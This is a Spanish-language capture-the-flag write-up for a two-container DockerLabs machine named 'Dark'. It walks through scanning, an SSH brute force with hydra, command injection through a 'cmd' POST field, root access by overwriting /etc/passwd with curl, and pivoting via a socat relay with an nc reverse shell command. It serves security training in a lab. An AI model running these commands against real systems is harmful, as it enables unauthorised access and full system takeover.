> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/dark.md).

# Dark

## Maquina

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FuJh4UtgcJarcTxfrdyOI%2Fimage.png?alt=media&amp;token=24e0189a-eb72-47f2-a923-33b45634142c" alt=""><figcaption></figcaption></figure>

### Explicación

Esta maquina consta de 2 contenedores, dark1 será nuestra maquina que actúa como puente hacia darck2

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F1gwps0Exbd6jS8UHOUia%2Fimage.png?alt=media&amp;token=06cc03d6-c228-49d9-a643-e6864e658c6a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FJWvvpxBcKGCeE2exS5SO%2Fimage.png?alt=media&amp;token=d39567ef-1de1-4c21-bbeb-cd3b8e4b76c2" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 10.10.10.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 3f:52:53:45:8b:99:34:47:19:12:64:d1:f4:d4:23:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHTBVuv/Xo03Uv6uymsJx/7pR9N/8bRSUGA//NdWiesrpMisT3E9psw7hQqYVdGGJRw55a6X78OWh9y1nRqYXYM=
|   256 c5:04:3d:16:6b:71:f6:a0:74:92:74:9c:a3:7a:80:57 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbNtDN24HXlbFV+XBmLInhca+cu/2cJvEOAw4LOSDKM
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: darkweb
MAC Address: 02:42:0A:0A:0A:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel// Some code
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 10.10.10.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              xml,jpg,png,gif,conf,php,log,backup,txt,zip,py,jpeg,svg,pdf,sh,json,ico,sql,ini,gz,css,config,bash,html,js,rar,tar,rb
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 318]
/.html                (Status: 403) [Size: 275]
/info                 (Status: 200) [Size: 128]
/process.php          (Status: 500) [Size: 0]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 6396240 / 6396269 (100.00%)
===============================================================
Finished
===============================================================
```

### Web

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FpD5x6muNrghMmjLqCuBi%2Fimage.png?alt=media&amp;token=8fa9cf4c-8637-442c-8cdd-9eaa6a192ca5" alt=""><figcaption></figcaption></figure>

Una pagina para enviar una url, si ponemos una url y le damos a enviar no lleva al archivo `process.php`, el cual esta vacío, pero tenemos un directorio más `/info`

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fnq6kGBmuzM4Lk2NVGeG1%2Fimage.png?alt=media&amp;token=da29611a-7c6f-4d46-a893-5d1d334f123d" alt=""><figcaption></figcaption></figure>

De aquí sacamos el posible usuario **Toni**

## Explotacion

&#x20;Podemos probar a hacer un ataque de fuerza bruta con hydra sabiendo el usuario **Toni**

```bash
hydra -l toni -P /usr/share/wordlists/rockyou.txt 10.10.10.2 ssh -t 64
```

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FDnX0Xz2w9IDH4Jg2yRA9%2Fimage.png?alt=media&amp;token=df57bb6d-4ca7-4192-a922-e5bdb3742486" alt=""><figcaption></figcaption></figure>

Ahora nos conectamos por ssh

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FxJR8W82h1KQlaITEG1dd%2Fimage.png?alt=media&amp;token=50710ba2-5343-4e96-acd9-158f78a515f5" alt=""><figcaption></figcaption></figure>

Miramos permisos de este usuario

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FXQJ28yO0kAQggK4ayXTe%2Fimage.png?alt=media&amp;token=94a73df7-f455-4566-8b9b-8bd15f8b01ac" alt=""><figcaption></figcaption></figure>

Miramos que es lo que tiene

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FYn6Ny8YZFzgRn1YgUxsd%2Fimage.png?alt=media&amp;token=59fd578c-a729-4b70-ab87-2b73e52ce296" alt=""><figcaption></figcaption></figure>

Lo único a destacar es este archivo `md` que básicamente nos dice que disponemos del comando `curl`, por lo que si recordamos, hay otra maquina a la que podemos acceder, la cual hemos visto en el archivo `info` de antes que es una *web ilegal*, por lo que podemos **hacer `curl` a esa ip**

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FlAiBCPW56SRcPasPFkv2%2Fimage.png?alt=media&amp;token=11f6d675-7be1-4224-a60e-1cd722300cdd" alt=""><figcaption></figcaption></figure>

Aquí podemos ver el código de la web, hay un campo que se llama `cmd` por lo que se me ocurre que podemos probar a hacer una **petición** con `curl` usando el método `POST` a la dirección `http://20.20.20.3/process.php` con un *comando de cmd* en este mismo campo

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fvs7cfc0Z7uBEJcyvqtis%2Fimage.png?alt=media&amp;token=9ad79686-7262-4e2b-8c45-5e5e59258dc0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fj4vbILUoVxlD5zBgz7kt%2Fimage.png?alt=media&amp;token=e92eea0b-0aab-42b0-9d07-573110387c26" alt=""><figcaption></figcaption></figure>

Funciona, por lo que hemos comprobado que **podemos ejecutar código**

## 1º Forma - Escalado de privilegios

{% hint style="info" %}
Esta es la manera que se me ha ocurrido a mi en el momento de hacer la maquina
{% endhint %}

Voy a intentar hacer una **reverse shell a la maquina dark1** usando este método.

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fo4IwOwuiyEnhc39QHMt1%2Fimage.png?alt=media&amp;token=1b6f6fd4-3282-42f0-a20a-eac6a385d751" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FhYIJzZOs9fZT1snjTVl9%2Fimage.png?alt=media&amp;token=2274017b-07e7-4f4e-a3f1-1837caf49bb0" alt=""><figcaption></figcaption></figure>

Ahora mismo somos el usuario `www-data`, por lo que vamos a mirar sus permisos

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F1jGeIyUMUvtJiz5AJH5R%2Fimage.png?alt=media&amp;token=83f86a34-ff03-4947-820e-a801192eae57" alt=""><figcaption></figcaption></figure>

Hay un permiso que me llama la atención, `curl`, si miramos en [GTFOBins](https://gtfobins.github.io/gtfobins/curl/) vemos que hay una forma de **escribir en un archivo** con curl, por lo que podemos editar el fichero `/etc/passwd`

Movemos el fichero `/etc/passwd` a `/tmp` para poder editarlo

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fda2kv1NaSphkoLP3B9mc%2Fimage.png?alt=media&amp;token=17c1ab65-75aa-4eaf-9ba4-ba4abb085ddf" alt=""><figcaption></figcaption></figure>

Una vez lo tenemos editado ponemos el comando que ponía en [GTFOBins](https://gtfobins.github.io/gtfobins/curl/)

```bash
curl file:///tmp/passwd -o /etc/passwd
```

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FlJ7Hm7pkKaK3JVpVVuDJ%2Fimage.png?alt=media&amp;token=bb6e9829-767b-4d4e-83a5-12eb187b8c7a" alt=""><figcaption></figcaption></figure>

De esta forma le habremos quitado la contraseña a root y podremos convertirnos en root

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F4BNaYppqTTwysBMmEiky%2Fimage.png?alt=media&amp;token=eec583ee-2ec3-4c27-a1b5-22f607c1e0a5" alt=""><figcaption></figcaption></figure>

## 2º Forma - Pivoting

Usaremos la herramienta de [socat ](/barre/apuntes/red-team/tools/socat.md)para mandarnos una reverse shell desde la maquina dark2 a nuestra maquina usando la maquina dark1 como puente

{% hint style="info" %}
Socat es una herramienta que permite conectar y retransmitir flujos de datos entre diferentes tipos de conexiones o «sockets».
{% endhint %}

1º Nos pasamos la herramienta a la máquina dark1&#x20;

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FPpeAWevgyD3oPLissovZ%2Fimage.png?alt=media&amp;token=4eb49513-3888-48e3-8504-28be5c076eba" alt=""><figcaption></figcaption></figure>

2º Configuramos socat para que escuche por el puerto 3333 y nos mande lo que le llegue por ese puerto a nosotros por el puerto 2222

```bash
./socat TCP-LISTEN:3333,reuseaddr,fork TCP:10.10.10.1:2222
```

3º Nos ponemos a la escucha desde nuestra maquina

```bash
nc -lvnp 2222
```

4º Nos mandamos una reverse shell a la maquina dark1 desde la maquina dark2

```bash
curl -X POST -d 'cmd=nc 20.20.20.2 3333 -e /bin/bash' http://20.20.20.3/process.php
```

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F9wgJTS80X0ak2eEhfQOR%2Fimage.png?alt=media&amp;token=76bc8bec-e302-4912-b2a6-7fd3981de0bf" alt=""><figcaption></figcaption></figure>

El escalado de privilegios es el mismo que en la [1º Forma](#id-1o-forma-escalado-de-privilegios)

## Conclusión&#x20;

Muy buena maquina, muy completa y entretenida, recomendad para gente que no haya hecho mucho pivoting
